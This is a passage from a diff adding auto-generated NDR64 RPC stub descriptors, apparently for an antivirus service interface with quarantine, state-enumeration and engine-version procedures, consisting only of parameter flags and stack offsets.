0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 192 /* 0xc0 */ + } +}; + +static const __midl_frag456_t __midl_frag456 = +{ +/* *Struct_1536_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag457 +}; + +static const __midl_frag455_t __midl_frag455 = +{ +/* Proc41_ServerMpQueryEngineVersion */ + { + /* Proc41_ServerMpQueryEngineVersion */ /* procedure Proc41_ServerMpQueryEngineVersion */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 336 /* 0x150 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag457, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag449_t __midl_frag449 = +{ +/* Proc40_ServerMpStateEnumOpen */ + { + /* Proc40_ServerMpStateEnumOpen */ /* procedure Proc40_ServerMpStateEnumOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1288, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag443_t __midl_frag443 = +{ +/* Proc39_ServerMpQuarantineDeleteThreat */ + { + /* Proc39_ServerMpQuarantineDeleteThreat */ /* procedure Proc39_ServerMpQuarantineDeleteThreat */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag434_t __midl_frag434 = +{ +/* Proc38_ServerMpQuarantineRestoreThreat */ + { + /* Proc38_ServerMpQuarantineRestoreThreat */ /* procedure Proc38_ServerMpQuarantineRestoreThreat */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag36, + { + /* arg_3 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag426_t __midl_frag426 = +{ +/* Proc37_ServerMpQuarantineQueryInfo */ + { + /* Proc37_ServerMpQuarantineQueryInfo */ /* procedure Proc37_ServerMpQuarantineQueryInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1035, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag414_t __midl_frag414 = +{ +/* Proc35_ServerMpQuarantineEnumerate */ + { + /* Proc35_ServerMpQuarantineEnumerate */ /* procedure Proc35_ServerMpQuarantineEnumerate */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag407_t __midl_frag407 = +{ +/* Proc34_ServerMpQuarantineEnumOpen */ + { + /* Proc34_ServerMpQuarantineEnumOpen */ /* procedure Proc34_ServerMpQuarantineEnumOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag399_t __midl_frag399 = +{ +/* Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag391_t __midl_frag391 = +{ +/* Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag383_t __midl_frag383 = +{ +/* Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag376_t __midl_frag376 = +{ +/* Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct 